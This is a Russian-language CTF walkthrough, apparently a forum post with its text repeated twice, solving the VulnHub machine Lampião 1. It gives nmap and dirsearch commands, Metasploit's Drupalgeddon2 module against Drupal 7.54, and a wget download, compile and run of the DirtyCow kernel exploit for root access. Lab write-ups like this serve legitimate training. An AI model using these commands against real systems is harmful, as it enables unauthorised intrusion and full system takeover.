Всем привет! Сегодня я хочу рассказать как решать задачу CTF размещенную на vulnhub.com под названием Lampião 1.
В описание автор заявляет, что прохождение не требует как-либо дополнительных знаний об эксплуатации машины.
Уровень легкий
Скачать образ вы можете отсюда:
В данном случае я не буду использовать Kali Linux, а буду использовать PentestBox под Windows.
Для тех кто не в танке PentestBox - это набор сборка утилит для пентеста. В этой сборке собраны все необходимые инструменты для сбора и анализа приложений, для аудита, реверса, форензике и много другое.
Я же поступил проще и зашел в админку роутера и посмотрел IP в аренде адреса DHCP
Хорошо, зная IP мы можем просканировать нашу машины на наличие открытых портов. Будем использовать nmap
Вот что мы получим:
Теперь рассмотрим что значит
Начнем с порта 80. Перейдя по адресу
После недолгого анализа, я не нашел ничего интересного на этой странице. Также был просмотрен исходный код страницы, но там тоже не оказалось ничего полезного для нас. Мы можем также пробрутить директории. Для этого будем использовать dirsearch
где -u адрес -e расширения -x игнорирование страниц с кодом 403. К сожалению поиск не дал ничего. Хорошо, теперь наша задача посмотреть следующий порт - 1898.
Переходим по адресу
Ага, перед нами явно движок Drupal. Проверить это можно если перейти по адресу
Теперь мы можем используя какой-нибудь сканер уязвимости проверить сайт на уязвимости. Лично я делать этого не стал, ведь после того как увидел, что версия Drupal 7.54 недолго думая я вспомнил про уязвимость DRUPALGEDDON2 (CVE-2018-7600) Работает на 7.х и 8.х и вплоть до 8.5.0. Также очень приятно для нас, что нам не надо искать exploit, все уже есть в metasploit Используя модуль drupal_drupalgeddon2 мы должны получить сессию.
Посмотрим какие данные нам нужно заполнить
Установим значение RHOST, RPORT
Теперь получим командную оболочку - shell. Дальше получим интерактивную оболочку Python, чтобы мы могли запускать
команды в интерактивном режиме.
Получим информацию о версии ядра
Для тех, кто не совсем понял мы имеем дело со старой версией ядра. В таких задачах очень часто используют exploit DirtyCow(Грязная корова)
Найти exploit не трудно. С помощью команды wget скачаем exploit.
Теперь наша задача скомпилировать exploit. На самой странице
Как объяснено выше и видно на скриншоте, мы загрузили exploit в каталог tmp целевой машины и скомпилировали его. Итак, теперь наш exploitготов к выполнению:
После запуска exploit успешно выполняется на целевой машине и сообщает нам, что пароль root - «dirtyCowFun».
Затем мы использовали команду su , ввели пароль и получили root-доступ на целевой машине.
Поскольку задача состояла в том, чтобы получить доступ с правами root и прочитать файл flag.txt, мы почти готовы его выполнить. Давайте перейдем в корневой каталог и прочитаем файл flag.txt
На этом все)
В описание автор заявляет, что прохождение не требует как-либо дополнительных знаний об эксплуатации машины.
Уровень легкий
Скачать образ вы можете отсюда:
Ссылка скрыта от гостей
В данном случае я не буду использовать Kali Linux, а буду использовать PentestBox под Windows.
Для тех кто не в танке PentestBox - это набор сборка утилит для пентеста. В этой сборке собраны все необходимые инструменты для сбора и анализа приложений, для аудита, реверса, форензике и много другое.
Прохождение
После того как мы загрузили и настроили машину, наша цель - получить IP. Сделать это можно несколькими способами, для этих целей подходит:
arp-scan -l, netdiscover
Я же поступил проще и зашел в админку роутера и посмотрел IP в аренде адреса DHCP
Обратите внимание: IP-адрес цели и компьютера-злоумышленника может отличаться в зависимости от конфигурации вашей сети.
Хорошо, зная IP мы можем просканировать нашу машины на наличие открытых портов. Будем использовать nmap
Команда: nmap -sV -p- 192.168.1.138.
Вот что мы получим:
Теперь рассмотрим что значит
-p
- сканирование всех портов. [B][COLOR=rgb(65, 168, 95)]-sV[/COLOR][/B]
- определение служб. Мы имеем 3 открытых порта(80, 22, 1898).Начнем с порта 80. Перейдя по адресу
http://192.168.1.138:80
мы увидим.После недолгого анализа, я не нашел ничего интересного на этой странице. Также был просмотрен исходный код страницы, но там тоже не оказалось ничего полезного для нас. Мы можем также пробрутить директории. Для этого будем использовать dirsearch
Команда: python3 dirsearch.py -u http://192.168.1.138:80 -e html,php,txt,bak -x 403
где -u адрес -e расширения -x игнорирование страниц с кодом 403. К сожалению поиск не дал ничего. Хорошо, теперь наша задача посмотреть следующий порт - 1898.
Переходим по адресу
http://192.168.1.138:1898
Ага, перед нами явно движок Drupal. Проверить это можно если перейти по адресу
http://192.168.1.138:1898/CHANGELOG.txt
Теперь мы можем используя какой-нибудь сканер уязвимости проверить сайт на уязвимости. Лично я делать этого не стал, ведь после того как увидел, что версия Drupal 7.54 недолго думая я вспомнил про уязвимость DRUPALGEDDON2 (CVE-2018-7600) Работает на 7.х и 8.х и вплоть до 8.5.0. Также очень приятно для нас, что нам не надо искать exploit, все уже есть в metasploit Используя модуль drupal_drupalgeddon2 мы должны получить сессию.
[/COLOR]Команда: use exploit/unix/webapp/drupal_drupalgeddon2[COLOR=rgb(239, 239, 239)]
Посмотрим какие данные нам нужно заполнить
show options
Установим значение RHOST, RPORT
Код:
set rhost 192.168.1.138
set rport 1898
Теперь получим командную оболочку - shell. Дальше получим интерактивную оболочку Python, чтобы мы могли запускать
команды в интерактивном режиме.
python -c 'import pty; pty.spawn (“/ bin / bash”)'
Получим информацию о версии ядра
uname -a
Для тех, кто не совсем понял мы имеем дело со старой версией ядра. В таких задачах очень часто используют exploit DirtyCow(Грязная корова)
Найти exploit не трудно. С помощью команды wget скачаем exploit.
wget https://www.exploit-db.com/download/40847.cpp (используется для загрузки exploit на целевой машине)
Теперь наша задача скомпилировать exploit. На самой странице
Ссылка скрыта от гостей
можно найти кодg ++ -Wall -pedantic -O2 -std = c ++ 11 -pthread -o dcow 40847.cpp -lutil
Как объяснено выше и видно на скриншоте, мы загрузили exploit в каталог tmp целевой машины и скомпилировали его. Итак, теперь наш exploitготов к выполнению:
./dcow
После запуска exploit успешно выполняется на целевой машине и сообщает нам, что пароль root - «dirtyCowFun».
Затем мы использовали команду su , ввели пароль и получили root-доступ на целевой машине.
Поскольку задача состояла в том, чтобы получить доступ с правами root и прочитать файл flag.txt, мы почти готовы его выполнить. Давайте перейдем в корневой каталог и прочитаем файл flag.txt
На этом все)
Вложения
Последнее редактирование: